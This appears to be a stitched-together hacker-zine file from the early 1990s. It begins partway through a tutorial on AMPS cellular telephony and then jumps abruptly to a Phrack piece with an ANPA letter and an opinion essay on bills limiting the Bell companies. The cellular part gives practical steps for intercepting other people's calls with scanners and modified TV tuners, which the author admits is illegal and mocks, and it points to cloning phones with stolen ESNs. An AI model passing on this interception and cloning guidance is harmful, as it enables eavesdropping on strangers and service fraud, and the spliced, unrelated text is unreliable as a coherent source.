QJ 454.40 459.40

QO 454.425 459.425

QA 454.45 459.45

QE 454.475 459.475

QP 454.50 459.50

QK 454.525 459.525

QB 454.55 459.55

QO 454.575 459.575

QA 454.60 459.60

QY 454.625 459.625

QF 454.650 459.650

VHF high frequencies are the most popular frequencies of all the IMTS band. VHF low bands are used primarily in rural areas and those with hilly terrain. UHF bands are primarily used in cities where the VHF bands are overcrowded. Most large cities will find at least one station being used in their area.

ADVANCED MOBILE PHONE SYSTEM

The next step for mobile telephone was made in 1979 by Bell Telephone, again introducing the Advanced Mobile Phone Service. This service is the focus of this document, which has now taken over the mobile telephone industry as the standard. What brought this system to life were the new digital technologies of the 1970's. This being large scale integrated custom circuits and microprocessors. Without these technologies, the system would not have been economically possible.

The basic elements of the cellular concept have to do with frequency reuse and cell splitting.

Frequency re‑use refers to the use of radio channels on the same carrier frequency to cover different areas which are separated by a significant distance. Cell splitting is the ability to split any cell into smaller cells if the traffic of that cell requires additional frequencies to handle all the area's calls. These two elements provide the network an opportunity to handle more simultaneous calls, decrease the transmitters/receivers output/input wattage/gain and a more universal signal quality.

When the system was first introduced, it was allocated 40MHz in the frequency spectrum, divided into 666 duplex radio channels providing about 96 channels per cell for the seven cluster frequency reuse pattern. Cell sites (base stations) are located in the cells which make up the cellular network. These cells are usually represented by hexagons on maps or when developing new systems and layouts. The cell sites contain radio, control, voice frequency processing and maintenance equipment, as well as transmitting and receiving antennas. The cell sites are inter‑connected by landline with the Mobile Telecommunications Switching Office (MTSO).

In recent years, the FCC has added 156 frequencies to the cellular bandwidth. This provides 832 possible frequencies available to each subscriber per cell. All new cellular telephones are built to accommodate these new frequencies, but old cellular telephones still work on the system. How does a cell site know if the unit is old or new? Let me explain.

The problem of identifying a cellular phones age is done by the STATION CLASS MARK (SCM). This number is 4 bits long and broken down like this:

Bit 1: 0 for 666 channel usage (old) 1 for 832 channel usage (new)

Bit 2: 0 for a mobile unit (in vehicle) 1 for voice‑activated transmit (for portables)

Bit 3‑4: Identify the power class of the unit

Class I 00 = 3.0 watts Continuous Tx's 00XX...DTX <> 1 Class II 01 = 1.2 watts Discont. Tx's 01XX...DTX = 1 Class III 10 = 0.6 watts reserved 10XX, 11XX

Reserved 11 = ‑‑‑‑‑‑‑‑‑ Letters DTX set to 1 permits

use of discontinuous trans‑

missions

Cell Sites: How Cellular Telephones Get Their Name

Cell sites, as mentioned above are laid out in a hexagonal type grid. Each cell is part of a larger cell which is made up of seven cells in the following fashion:

|‑‑‑| ||===|| |‑‑‑|

/ \ // \\ /

| |===|| 2 ||===|| ||===|| |‑‑‑| |

\ // \ / \\ /

|‑‑‑|| 7 |‑‑‑| 3 ||==|| 2 ||==|| pc |‑‑‑| |‑‑‑|

/ \\ / \ // Due to the \

| ||‑‑‑| 1 |‑‑‑|| 7 |‑‑‑| 3 ||‑‑| difficulty of |

\ // \ / \\ representing /

|‑‑|| 6 |‑‑‑| 4 ||‑‑| 1 |‑‑‑|| |graphics with |

/ \\ / \ // ASCII characters\

| ||==|| 5 ||==|| 6 |‑‑‑| 4 ||‑‑| I will only show |

\ / \\ // \\ two of the cell /

|‑‑‑| ||===|| ||===|5 ||==|| |types I am trying‑

/ \ / \ / to convey. \

| |‑‑‑| |‑‑‑|

\ / \ / \

|‑‑‑| |‑‑‑| |‑‑‑|

As you can see, each cell is a 1/7th of a larger cell. Where one (1) is the center cell and two (2) is the cell directly above the center. The other cells are number around the center cell in a clockwise fashion, ending with seven (7). The cell sites are equipped with three directional antennas with an RF beamwidth of 120 degrees providing 360 degree coverage for that cell. Note that all cells never share a common border. Cells which are next to each other are obviously never assigned the same frequencies. They will almost always differ by at least 60 KHz. This also demonstrates the idea behind cell splitting. One could imagine that the parameter of one of the large cells was once one cell. Due to a traffic increase, the cell had to be sub‑divided to provide more channels for the subscribers. Note that subdivisions must be made in factors of seven.

There are also Mobile Cell sites, which are usually used in the transitional period during the upscaling of a cell site due to increased traffic. Of course, this is just one of the many uses of this component. Imagine you are building a new complex in a very remote location. You could feasibly install a few mobile cellular cell sites to provide a telephone‑like network for workers and executives. The most unique component would be the controller/transceiver which provides the communications line between the cell site and the MTSO. In a remote location such a link could very easily be provided via satellite up/down link facilities.

Let's get into how the phones actually talk with each other. There are several ways and competitors have still not set an agreed upon standard.

Frequency Division Multiple Access (FDMA)

This is the traditional method of traffic handling. FDMA is a single channel per carrier analog method of transmitting signals. There has never been a definite set on the type of modulation to be used. There are no regulations requiring a party to use a single method of modulation. Narrow band FM, single sideband AM, digital, and spread‑spectrum techniques have all been considered as a possible standard, but none have yet to be chosen.

FDMA works like this: Cell sites are constantly searching out free channels to start out the next call. As soon as a call finishes, the channel is freed up and put on the list of free channels. Or, as a subscriber moves from one cell to another, the new cell they are in will hopefully have an open channel to receive the current call in progress and carry it through its location. This process is called handoff, and will be discussed more in depth further along.

Other proposed traffic handling schemes include Time‑Division Multiple Access (TDMA), Code‑Division Multiple Access (CDMA), and Time‑Division/Frequency Division Multiple Access (TD/FDMA).

Time Division Multiple Access

With TDMA, calls are simultaneously held on the same channels, but are multiplexed between pauses in the conversation. These pauses occur in the way people talk and think, and the telephone company also injects small delays on top of the conversation to accommodate other traffic on that channel. This increase in the length of the usual pause results in a longer amount of time spent on the call. Longer calls result in higher costs of the calls.

Code Division Multiple Access

This system has been used in mobile military communications for the past 35 years. This system is digital and breaks up the digitized conversation into bundles, compresses, sends, then decompresses and converts back into analog. There are said increases of throughput of 20 : 1 but CDMA is susceptible to interference which will result in packet retransmission and delays. Of course, error correction can help in data integrity, but will also result in a small delay in throughput.

Time‑Division/Frequency Division Multiple Access

TD/FDMA is a relatively new system which is an obvious hybrid of FDMA and TDMA. This system is mainly geared towards the increase of digital transmission over the cellular network. TD/FDMA make it possible to transmit signals from base to mobile without disturbing the conversation. With FDMA, there are significant disturbances during handoff which prevent continual data transmission from site to site. TD/FDMA makes it possible to transmit control signals by the same carrier as the data/voice thereby ridding extra channel usage for control.

Cellular Frequency Usage and channel allocation

There are 832 cellular phone channels which are split into two separate bands. Band A consists of 416 channels for non‑wireline services. Band B consists equally of 416 channels for wireline services. Each of these channels are split into two frequencies to provide duplex operation. The lower frequency is for the mobile unit while the other is for the cell site. 21 channels of each band are dedicated to "control" channels and the other 395 are voice channels. You will find that the channels are numbered from 1 to 1023, skipping channels 800 to 990.

I found these handy‑dandy equations that can be used for calculating frequencies from channels and channels from frequencies.

N = Cellular Channel # F = Cellular Frequency B = 0 (mobile) or B = 1 (cell site)

CELLULAR FREQUENCIES from CHANNEL NUMBER:

F = 825.030 + B * 45 + ( N + 1 ) * .03 where: N = 1 to 799

F = 824.040 + B * 45 + ( N + 1 ) * .03 where: N = 991 to 1023

CHANNEL NUMBER from CELLULAR FREQUENCIES

N = 1 + (F ‑ 825.030 ‑ B * 45) / .03

where: F >= 825.000 (mobile) or F >= 870.030 (cell site)

N = 991 + (F ‑ 824.040 ‑ B * 45) / .03

where: F <= 825.000 (mobile) or F <= 870.000 (base)

Now that you have those frequencies, what can you do with them? Well, for starters, one can very easily monitor the cellular frequencies with most hand/base scanners. Almost all scanners pre‑1988 have some coverage of the 800 ‑ 900 MHz band. All scanners can monitor the IMTS frequencies.

Remember that cellular phones operate on a full duplex channel. That means that one frequency is used for transmission and the other is used for receiving, each spaced exactly 30 KHz apart. Remember also that the base frequencies are 45MHz higher than the cellular phone frequencies. This can obviously make listening rather difficult. One way to listen to both parts of the conversation would be having two scanners programmed 45 MHz apart to capture the entire conversation.

The upper UHF frequency spectrum was "appropriated" by the Cellular systems in the late 1970's. Televisions are still made to receive up to channel 83. This means that you can receive much of the cellular system on you UHF receiver. One television channel occupies 6MHz of bandwidth. This was for video, sync, and audio transmission of the channel. A cellular channel only takes up 24 KHz plus 3KHz set up as a guard band for each audio signal. This means that 200 cellular channels can fit into one UHF television channel. If you have an old black and white television, drop a variable cap in there to increase the sensitivity of the tuning. Some of the older sets have coarse and fine tuning knobs.

Some of the newer, smaller, portable television sets are tuned by a variable resistor. This make modifications MUCH easier, for now all you have to do is drop a smaller value pot in there and tweak away. I have successfully done this on two televisions. Most users will find that those who don't live in a city will have a much better listening rate per call. In the city, the cells are so damn small that handoff is usually every other minute. Resulting in chopped conversations.

If you wanted to really get into it, I would suggest you obtain an old television set with decent tuning controls and remove the RF section out of the set. You don't want all that hi‑voltage circuitry lying around (flyback and those caps). UHF receivers in televisions downconvert UHF frequencies to IF (intermediate frequencies) between 41 and 47 MHz. These output IF frequencies can then be run into a scanner set to pick‑up between 41 ‑ 47 MHz. Anyone who works with RF knows that it is MUCH easier to work with 40MHz signals than working with 800MHz signals. JUST REMEMBER ONE THING! Isolate the UHF receiver from your scanner by using a coupling capacitor (0.01 ‑ 0.1 microfarad <50V minimum> will do nicely). You don't want any of those biasing voltages creeping into your scanner's receiving AMPLIFIERS! Horrors. Also, don't forget to ground both the scanner and receiver.

Some systems transmit and receive the same cellular transmission on the base frequencies. There you can simply hang out on the base frequency and capture both sides of the conversation. The handoff rate is much higher in high traffic areas leading the listener to hear short or choppy conversations. At times you can listen in for 5 to 10 minutes per call, depending on how fast the caller is moving through the cell site.

TV Cell & Channel Scanner TV Oscillator Band Channel Freq.& Number Frequency Frequency Limit

================================

73 (first) 0001 ‑ 825.03 45.97 871 824 ‑ 830 73 (last) 0166 ‑ 829.98 41.02 871 824 ‑ 830 74 (first) 0167 ‑ 830.01 46.99 877 830 ‑ 836 74 (last) 0366 ‑ 835.98 41.02 877 830 ‑ 836 75 (first) 0367 ‑ 836.01 46.99 883 836 ‑ 842 75 (last) 0566 ‑ 841.98 41.02 883 836 ‑ 842 76 (first) 0567 ‑ 842.01 46.99 889 842 ‑ 848 76 (last) 0766 ‑ 847.98 41.02 889 842 ‑ 848 77 (first) 0767 ‑ 848.01 46.99 895 848 ‑ 854 77 (last) 0799 ‑ 848.97 46.03 895 848 ‑ 854

All frequencies are in MHz

You can spend hours just listening to cellular telephone conversations, but I would like to mention that it is illegal to do so. Yes, it is illegal to monitor cellular telephone conversations. It just another one of those laws like removing tags off of furniture and pillows. It's illegal, but what the hell for? At any rate, I just want you to understand that doing the following is in violation of the law.

Now back to the good stuff.

Conversation is not only what an avid listener will find on the cellular bands. One will also hear call/channel set‑up control data streams, dialing, and other control messages. At times, a cell site will send out a full request for all units in its cell to identify itself. The phone will then respond with the appropriate identification on the corresponding control channel.

Whenever a mobile unit is turned on, even when not placing a call, whenever there is power to the unit, it transmits its phone number and its 8‑digit ID number. The same process is done when an idling phone passes from one cell to the other. This process is repeated for as long as there is power to the unit. This allows the MTSO to "track" a mobile through the network. That is why it is not a good reason to use a mobile phone from one site. They do have ways of finding you. And it really is not that hard. Just a bit of RF Triangulation theory and you're found. However, when the power to the unit is shut off, as far as the MTSO cares, you never existed in that cell, of course unless your unit was flagged for some reason. MTSO's are basically just ESS systems designed for mobile applications. This will be explained later within this document.

It isn't feasible for the telephone companies to keep track of each customer on the network. Therefore the MTSO really doesn't know if you are authorized to use the network or not. When you purchase a cellular phone, the dealer gives the unit's phone ID number to the local BOC, as well as the number the BOC assigned to the customer. When the unit is fired up in a cell site its ID number and phone number are transmitted and checked. If the two numbers are registered under the same subscriber, then the cell site will allow the mobile to send and receive calls. If they don't match, then the cell will not allow the unit to send or receive calls. Hence, the most successful way of reactivating a cellular phone is to obtain an ID that is presently in use and modifying your ROM/PROM/EPROM for your specific phone.

RF and AF Specifications:

Everything that you will see from here on out is specifically Industry/FCC standard. A certain level of compatibility has to be maintained for national intercommunications, therefore a common set of standards that apply to all cellular telephones can be compiled and analyzed.

Transmitter Mobiles: audio transmission

‑ 3 KHz to 15 KHz and 6.1 KHz to 15 KHz.

‑ 5.9 KHz to 6.1 KHz 35 dB attenuation.

‑ Above 15 KHz, the attenuation becomes 28 dB.

‑ All this is required after the modulation limiter and before the modulation stage.

Transmitters Base Stations: audio transmission

‑ 3 KHz to 15 KHz.

‑ Above 15 KHz, attenuation required 28 dB.

‑ Attenuation after modulation limiter ‑ no notch filter required.

RF attenuation below carrier transmitter: audio transmission

‑ 20 KHz to 40 KHz, use 26 dB.

‑ 45 KHz to 2nd harmonic, the specification is 60 dB or 43 + 10 log of mean output power.

‑ 12 KHz to 20 KHz, attenuation 117 log f/12.

‑ 20 KHz to 2nd harmonic, there is a choice: 100 log F/100 or 60 dB or 43 log + 10 log of mean output power, whichever is less.

Wideband Data

‑ 20 KHz to 45 KHz, use 26 dB.

‑ 45 KHz to 90 KHz, use 45 dB.

‑ 90 KHz to 2nd harmonic, either 60 dB or 43 + 10 log mean output power.

‑ all data streams are encoded so that NRZ (non‑return‑to‑zero) binary ones and zeroes are now zero‑to‑one and one‑to‑zero transitions respectively. Wideband data can then modulate the transmitter carrier by binary frequency shift keying (BFSK) and ones and zeroes into the modulator must now be equivalent to nominal peak frequency deviations of 8 KHz above and below the carrier frequency.

Supervisory Audio Tones

‑ Save as RF attenuation measurements.

Signaling Tone

‑ Same as Wideband Data but must be 10 KHz +/‑ 1 Hz and produce a nominal frequency deviation of +/‑ 8 KHz.

The previous information will assist any technophile to modify or even troubleshoot his/her cellular phone. Those are the working guidelines, as I stated previously.

UNIT IDENTIFICATION

Each mobile unit is identified by the following sets of numbers.

The first number is the Mobile Identification Number (MIN). This 34 bit binary number is derived from the unit's telephone number. MIN1 is the last seven digits of the telephone number and MIN2 is the area code.

For demonstrative purposes, we'll encode 617‑637‑8687.

Here's how to derive the MIN2 from a standard area code. In this example, 617 is the area code. All you have to do is first convert to modulo 10 using the following function. A zero digit would be considered to have a value of 10.

100(first number) + 10(second) +1(third) ‑ 111 = x

100(6) + 10(1) + 1(7) ‑ 111 = 506

(or you could just ‑ 111 from the area code.)

Then convert it to a 10‑bit binary number: 0111111010.

To derive MIN1 from the phone number is equally as simple. First encode the next three digits, 637.

100(6) + 10(3) + 1(7) ‑ 111 = 526

Converted to binary: 1000001110

The remainder of the number 8687, is processed further by taking the first digit, eight (8) and converting it directly to binary.

8 = 1000 (binary)

The last three digits are processed as the other two sets of three numbers were processed.

100(6) + 10(8) + 1(7) ‑ 111 = 576

Converted to binary: 1001000000.

So the completed MIN number would look like this:

|‑‑637‑‑‑||8‑||‑‑‑687‑‑||‑‑‑617‑‑| 1000001110100010010000000111111010

\________/\__/\________/\___

A unit is also identifiable by its Electronic Serial Number or ESN. This number is factory preset and is usually stored in a ROM chip, which is soldered to the board. It may also be found in a "computer on a chip," which are the new microcontrollers which have ROM/RAM/microprocessor all in the same package. This type of set‑up usually has the ESN and the software to drive the unit all in the same chip. This makes is significantly harder to dump, modify and replace. But it is far from impossible.

The ESN is a 4 byte hex or 11‑digit octal number. I have encountered mostly 11‑digit octal numbers on the casing of most cellular phones. The first three digits represent the manufacturer and the remaining eight digits are the unit's ESN.

The Station Class Mark (SCM) is also used for station identification by providing the station type and power output rating. This was already discussed in a previous section.

The System IDentification (SID number is a number which represents the mobile's home system. This number is 15‑bits long and a list of current nationwide SID's should either be a part of this file or it will be distributed along with it.

Standing Up To Fight The Bells

==Phrack Inc.==

Volume Four, Issue Thirty‑Eight, File 10 of 15

Standing Up To Fight The Bells

by Knight Lightning

kl@stormking.com

Did you hear about 1‑800‑54‑Privacy? Did you decide to call? I did and the following is the information I received a few weeks later. It outlines some of the serious ramifications of what is going to happen if we do not actively support Congressional bills S 2112 and HR 3515.

The information comes from the American Newspaper Publisher's Association (ANPA). Keep in mind, they have a vested financial interest in information services as do many others, and in many ways, the newspaper industry can be and has been just as bad as the Regional Bell Operating Companies. However, in this particular situation, the ANPA has the right idea and does a pretty good job in explaining why we need to act now and act fast.

You know who I am, and what I've been through. My experiences have given me a unique perspective and insight into the methods and goals of the Regional Bell Operating Companies. They are inherently deceptive and if given even the slightest chance, they will screw the consumer and engage in anti‑competitive market practices. Additionally, their tactics threaten our personal privacy as well.

The RBOCs must be stopped before it's too late.

:Knight Lightning

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

1‑800‑54‑Privacy

444 N. Michigan Avenue

Suite 900

Chicago, Illinois 60611

February 14, 1992

Dear Consumer:

If you're like many people, you may have been hesitant about leaving your name and address on our 1‑800‑54‑PRIVACY phone line.

Why?

Quite simply, no one wants to give out information about themselves without knowing exactly how that information is going to be used.

But the truth is, you reveal information about yourself EACH AND EVERY TIME YOU PICK UP THE PHONE. By tracking who you call, how often you call and how long each conversation lasts, the seven regional Bell telephone companies have the capability to learn and know more about you than even the IRS.

In fact, with modern computer technology, there is practically no limit to what the Bells can learn about your personal life every time you pick up the phone. And there is virtually no limit ‑‑ only one's imagination ‑‑ to the ways they can take advantage of all the information they glean.

Of course its one thing to have the capability to do this snooping. It's another thing to have the incentive to actually do it.

Until October 7, 1991, the incentive just didn't exist for the Bells. Prior to this date, the vast electronic networks of the Bell monopolies were just neutral carriers of phone messages, data, and other companies' fax, audiotex, and videotex services.

For example, when you last called a 1‑900 or 1‑800 line to get the latest stock quotes, sports scores, or headlines, your local phone company served simply as the pipeline for moving the billions of electrons in your call. The company that provided you with the information over the phone line was not ‑‑ and by law, could not be ‑‑ the phone company.

And that's the way things had been since 1984, when U.S. District Court Judge Harold Greene issued his now‑famous decree breaking up the AT&T monopoly and spinning off control of local phone service to seven regional Bell companies.

In the decree, the Court expressly prohibited the individual Bells from entering three businesses ‑‑ cable TV, telephone manufacturing, and electronic information services.

Why?

After presiding over the lengthy AT&T anti‑trust case and being exposed to hundreds upon hundreds of monopolistic abuses by AT&T, Judge Greene's Court was firmly convinced that, if allowed to enter any of these three current areas, the Bells would undoubtedly engage in the same monopolistic behavior that characterized their former parent.

In other words, while cutting off the hydra‑like AT&T head, Judge Greene was fearful that, given too much leeway, AT&T's seven so‑called "Baby Bell" off‑spring might become equal or worse monsters themselves.

>From day one, however, the Bells undertook a long‑term, multi‑million dollar lobbying campaign to fight Judge Greene's ruling and try to convince the Justice Department, the higher courts, and even the U.S. Congress that they should be permitted to enter the content end of the information service business.

And, so, on October 7, 1991, after years of heavy lobbying, a higher court came through for the Bells and practically ordered Judge Greene to overturn his 1984 decree and open up the information services industry to the Bells.

In the 71‑page ruling, a very reluctant Judge Greene devoted two‑thirds of his decision to explaining why allowing the Bells to sell information services was bad for consumers and bad for America.

For example, he went to great length to discount the Bells' claim that, once given the green light, they would be better able to serve the public than the thousands of already existing electronic information services. To quote from his decision.

"In the first place, the contention that it will take the Regional Companies (the Bells) to provide better information services to the American public can only be described as preposterous."

Judge Green also wrote:

"Moreover, the Court considers the claim that the Regional Companies' entry into information services would usher in an era of sophisticated information services available to all as so much hype."

His decision also contains a warning regarding the prices consumers will be forced to pay for Bell‑provided services:

"The Regional Companies would be able to raise price by increasing their competitors' costs, and they could raise such costs by virtue of the dependence of their rivals' information services on local network access."

Finally, here's what Judge Greene had to say about his court's decision and the public good:

"Were the Court free to exercise its own judgment, it would conclude without hesitation that removal of the information services restriction is incompatible with the decree and the public interest."

If Judge Greene's warnings as well as his profound reluctance to issue this ruling scare you, they should.

That's because the newly freed Bells now have the incentive, which they never had before, to engage in the anti‑competitive, anti‑consumer practices that Judge Greene feared.

Besides using your calling records to sell you information services they think you're predisposed to buy, the Bell's may well try to auction off your phone records to the highest bidder.

As a result, anyone who ever uses a phone could well be a potential victim of the Bell's abuse.

Consider the simple act of making a telephone call to an auto repair shop to schedule body work or a tune‑up. By knowing that you made that call, your phone company might conclude that you're in the market for a new car and sell your name to local car dealers.

Another example. Think about calling a real estate broker for information on mortgage rates. Knowing you must be in the market for a house, the Bells could sell your name to other brokers. Or they could try to sell you their own electronic mortgage rate service.

Now let's say you and your spouse are having some problems and one of you calls a marriage counselor. Tipped off by information purchased from the phone company, a divorce lawyer shows up on your doorstep the next morning.

Finally, think about calling your favorite weather service hotline ‑‑ a competitor to the weather service operated by your local phone company. By keeping track of people who use its competitor's service, the phone company might just try to get you to buy its weather service instead.

Far‑fetched? Not at all.

Nefarious? You bet.

That doesn't mean that, starting tomorrow, your phone company is going to start tracking who you call, how long your calls last, and who calls you. However, they could do it if they wanted to. And, based on past experience, some of them probably will do so at one point or another.

That's because the protest of gaining an unfair edge over the competition ‑companies that have no choice but to depend upon the Bells' wires ‑‑ is just too tantalizing a temptation for the Bells to ignore.

As you might expect, the Bells claim that these fears are totally unfounded and that strict regulations are in place to prevent them from abusing your telephone privacy.

However, there simply aren't enough regulators in the world to control the monopolistic tendencies and practices of the Bells. Every single one of the seven Bells has already abused its position as a regulated monopoly. There is no reason to believe they won't in the future.

For example, the Georgia Public Service Commission recently found that BellSouth had abused its monopoly position in promoting its MemoryCall voice mail system. Apparently, operators would try to sell MemoryCall when customers called to arrange for hook‑up to competitors' voice‑mail services. Likewise, while on service calls, BellSouth repair personnel would try to sell MemoryCall to people using competitors' systems. BellSouth even used competitors' orders for network features as sales leads to steal customers.

In February 1991, US West admitted it had violated the law by providing prohibited information services, by designing and selling telecommunications equipment and by discriminating against a competitor. The Justice Department imposed a $10 million fine ‑‑ 10 times larger than the largest fine imposed in any previous anti‑trust division contempt case.

In February 1990, the Federal Communications Commission found that one of Nynex's subsidiaries systematically overcharged another Nynex company $118 million for goods and services and passed that extra cost on to ratepayers.

The abuses go on and on.

In this brave new world, however, it's just not consumers who will suffer. Besides invading your privacy, the Bells could abuse their position as monopolies to destroy the wide range of useful information services already available.

Right now, there are some 12,000 information services providing valuable news, information, and entertainment to millions of consumers. Every one of these services depends on lines owned and controlled by Bell monopolies.

This makes fair competition with the Bells impossible.

It would be like saying that Domino's Pizzas could only be delivered by Pizza Hut.

It would be like asking a rival to deliver a love note to your sweetheart.

It would be a disaster.

If the Bells aren't stopped, they will make it difficult ‑‑ if not impossible ‑‑ for competitors to use Bell wires to enter your home.

They could deny competitors the latest technological advances and delay the introduction of new features. They could even undercut competitor's prices by inflating local phone bills to finance the cost of their own new information services.

In the end, the Bells could drive other information services out of business, thereby dictating every bit of information you receive and depriving the American public out of the diversity of information sources it deserves and that our form of government demands.

Can something be done to stop the Bells?

Yes, absolutely.

You can take several immediate steps to register your views on this issue. Those steps are described in the attached "Action Guidelines" sheet. Please act right away.

In the meantime, on behalf of our growing coalition of consumer groups, information services providers, and newspapers, thank you for your interest in this important issue.

Sincerely,

Cathleen Black

President and Chief Executive Officer

American Newspaper Publishers Association

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ACTION GUIDELINES

Something is very wrong when a monopoly is put into the position where it can abuse your privacy, drive competitors from the market, and even force you, the captive telephone ratepayer, to subsidize the costs of new information services ventures.

Can something be done to stop this potential abuse?

Absolutely.

WHAT YOU CAN DO. The first step is to call or write your local telephone company to assert your right to privacy.

The second step is to write your U.S. Representative and U.S. Senators and urge them to support House bill 3515 and Senate bill 2112.

Since the purpose of both HR 3515 and S 2112 is to prevent the Bells from abusing their monopoly position, not to prevent legitimate competition, the Bells would be free to sell information services in any area of the country where they do not have a monopoly ‑‑ in other words, 6/7 of the country.

However, the bills would delay entry of the Bell companies into the information services industry in their own regions until they no longer held a monopoly over local phone service. As soon as consumers were offered a real choice in local phone service ‑‑ whether it be cellular phones, satellite communications, or other new technology ‑‑ the Bells would be free to offer any information services they wanted.

Both bills are fair to everyone. They protect consumer privacy and ensure that the thriving information services industry will remain competitive.

Quick action is need to pass these bills. A hand‑written letter stating your views is the most effective way of reaching elected officials. It is proof positive that you are deeply concerned about the issue.

POINTS TO MAKE IN YOUR LETTER

You may wish to use some or all of the following points:

A phone call should be a personal and private thing ‑‑ not a sales marketing tool for the phone company.

The Bells should not be allowed to take unfair advantage of information they can obtain about you by virtue of owning and controlling the wires that come into homes.

The Bells must not be allowed to abuse their position as monopolies to drive existing information services out of business.

The Bells should not be permitted to engage in activities that would deprive Americans of the information diversity they deserve and that our form of government demands.

The Bells should not be permitted to finance information services ventures by inflating the phone bills of captive telephone ratepayers.

AFTER YOU'VE WRITTEN YOUR LETTER

After you've written your letter or made your phone call, please send us a letter and tell us. By sending us your name and address, you'll receive occasional updates on the massive effort underway to prevent the Bells from invading your privacy and turning into the monopolistic monsters that Judge Greene warned about.

There's one more thing you can do. Please ask your friends, relatives, neighbors, and co‑workers to urge their U.S. Representatives and Senators to support HR 3515 and S 2112. We need everyone's help if we're going to stop the Bells.

1‑800‑54‑PRIVACY

444 N. Michigan Avenue

Suite #900

Chicago, Illinois 60611

* * * * * * ** * * * * * ** * * * * * *

Support HR 3515 and S 2112

by Toby Nixon

tnixon@hayes.com

February 7, 1992

DISCLAIMER: The following is my personal position on this matter, and not necessarily that of my employer.

I am appalled at the RBOC's disinformation regarding HR 3515/S 2112, which propose to limit RBOC entry into information services until fair competition is possible. Every time one of the RBOC ads has played on the TV or radio, appeared in the newspaper, and now in the information they mailed to me, I can't help but stand up out of my chair and scream because of the contemptible lies.

Clearly, all of the services they claim are being held back are, or could be, available TODAY. We are IN the Information Age; where have they been? It's HERE, not "just over the horizon." We don't need the RBOCs to provide these services; all the RBOCs need to do is continue to provide the transmission services, which they do today. Unfortunately, the majority of the citizens of the USA don't know that these services are already available WITHOUT RBOC HELP ‑‑ and the RBOCs are taking advantage of this lack of knowledge to try to gain popular support for their positions.

What would happen if the RBOCs were to enter these markets? It is clear to me, based on their past performance in similar situations (such as voicemail) that they would leverage their monopoly on local telephone service to force competitors out of the market. They will use their guaranteed return on investment income from their monopoly on POTS to subsidize their information services (even providing co‑location with central office switches is a subsidy), thereby indeed providing the "affordability" they talk about ‑‑ until the competition is driven out of the marketplace. Then the RBOCs will be free to raise the rates as high as they wish! With their monopoly on access, they could easily sabotage access to competitive services and make the RBOC services look better (just being co‑located will provide better circuit quality and response times). While all of the competition would have to pay exorbitant rates for ONA services (to obtain ANI information, billing to phone accounts, etc.), the phone company has this free. Free competition? Hardly!

Many of you know that I am a Libertarian, and strongly oppose government regulation of business. The logical position for a Libertarian might appear to be to support the RBOC's fight against further regulation. But the fact is that they've enjoyed this GOVERNMENT‑IMPOSED monopoly for decades; in too many ways, the RBOCs function as though they were an arm of the government. They have effectively no competition for local access. Every competitive service MUST use the RBOCs' facilities to reach their customers. This places the RBOCs in the position of being able to effectively control their competition ‑meaning there would be no effective competition at all.

Despite their protestations that the proposed legislation would limit "consumer choice" and "competition", the reality is that provision of such services by RBOCs, so long as they remain the sole provider of local telephone service in most of the country, would be anti‑choice and anti‑competitive, plain and simple. It would be ABSOLUTELY UNFAIR for the government to turn them loose to use their monopoly‑guaranteed income to try to put independent information services (even BBSes) out of business, when it is the government that has permitted (required!) them to get the monopoly in the first place.

It absolutely disgusts me that in their printed materials the RBOCs go so far as to forment class warfare. They talk about "the spectre of 'information rich' versus 'information poor'". They say that minorities, the aged, and the disabled support their position, to raise liberal guilt and stir up class envy (but without disclosing what have certainly been massive contributions to these groups in return for their support). They further stir up class envy by making the point that Prodigy and CompuServe customers are "... highly educated professionals with above average incomes, owning homes valued above national norms ... the world's most affluent, professional, and acquisitive people," as though this were somehow evil! They attack, without stating any evidence, the alleged "reality" that the only reason this legislation is proposed is to prop up newspaper advertising revenues (the whole attitude of "evil profits" is so hypocritical coming from those for whom profits are guaranteed, and whom never mention the fact that they're not entering information services out of altruism but only because they seek to expand their own profits!). They invoke jingoistic fervor by talking about services "already being enjoyed by citizens of other countries" (but at what incredible cost?).

The materials are packed with this politically‑charged rhetoric, but completely lacking in facts or reasonable explanation of the basis for the positions of either side. Their letter isn't written for a politically and technologically aware audience, but for those who are attuned to the anti‑capitalistic culture of envy and redistribution. It isn't written for those trying to make an informed decision on the issues, but is intended simply to rally the ignorant into flooding Congressional offices with demands for services that most of the writers wouldn't know the first thing to do with, and which the writers don't realize are available without the RBOCs.

They talk about some supposed "right" of individuals to participate in "the Information Age", regardless of, among other things, INCOME. Does all of this appeal to the plight of the poor and disadvantaged mean that these services will be available regardless of ability to pay? Hardly! WE, the taxpayers, WE, the RBOC customers, without any choice of who provides our local phone service, will pay ‑‑ through the nose ‑‑ either in the form of crosssubsidization of "lifeline" (!) information services by those of us paying "full" residential rates or business rates, or by tax‑funded government subsidies or credits going directly to the RBOCs. Does anybody really think that the RBOCs will cover the cost of providing these services to the "information poor" out of their profits? What a ridiculous idea!

The fact that the RBOC position is supported by groups like the NAACP and the National Council on Aging ‑‑ representing the most politically‑favored, most tax‑subsidized groups in America ‑‑ make it clear that they fully intend for the cost of such services to be born by the middle class and small businesspeople of America. Once again, the productive segments of society get screwed. Once again, private businesses which have fought to build themselves WITHOUT any government‑granted monopoly will be forced out, to be replaced with politically‑favored and politically‑controllable socialized services. Once again, America edges closer to the fascist system which has been so soundly rejected elsewhere. When will we ever learn?

We SHOULD all write to our Congressmen and Senators. We should demand that they pass HR 3515 and S 2112, and keep them in force unless and until the RBOCs give up their local telephone monopolies and allow truly free competition ‑which means long after the monopolies are broken up, until the lingering advantages of the monopoly are dissipated. Of course, the RBOCs could spin off entirely independent companies to provide information services ‑‑ with no common management and no favored treatment in data transmission over the other independent information services ‑‑ and I would cheer. But so long as they have a chokehold on the primary _delivery vehicle_ for information services in America, their protestations for "free competition" ring incredibly hollow.

Toby Nixon | Voice +1‑404‑840‑9200 Telex 151243420 2595 Waterford Park Drive | Fax +1‑404‑447‑0178 CIS 70271,404 Lawrenceville, Georgia 30244 | BBS +1‑404‑446‑6336 AT&T !tnixon

USA | Internet tnixon@hayes.com

________________________________________

RHC Tactics Blamed For Failure Of Information Services Bill April 1, 1992

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Taken from Communications Daily (Page 4)

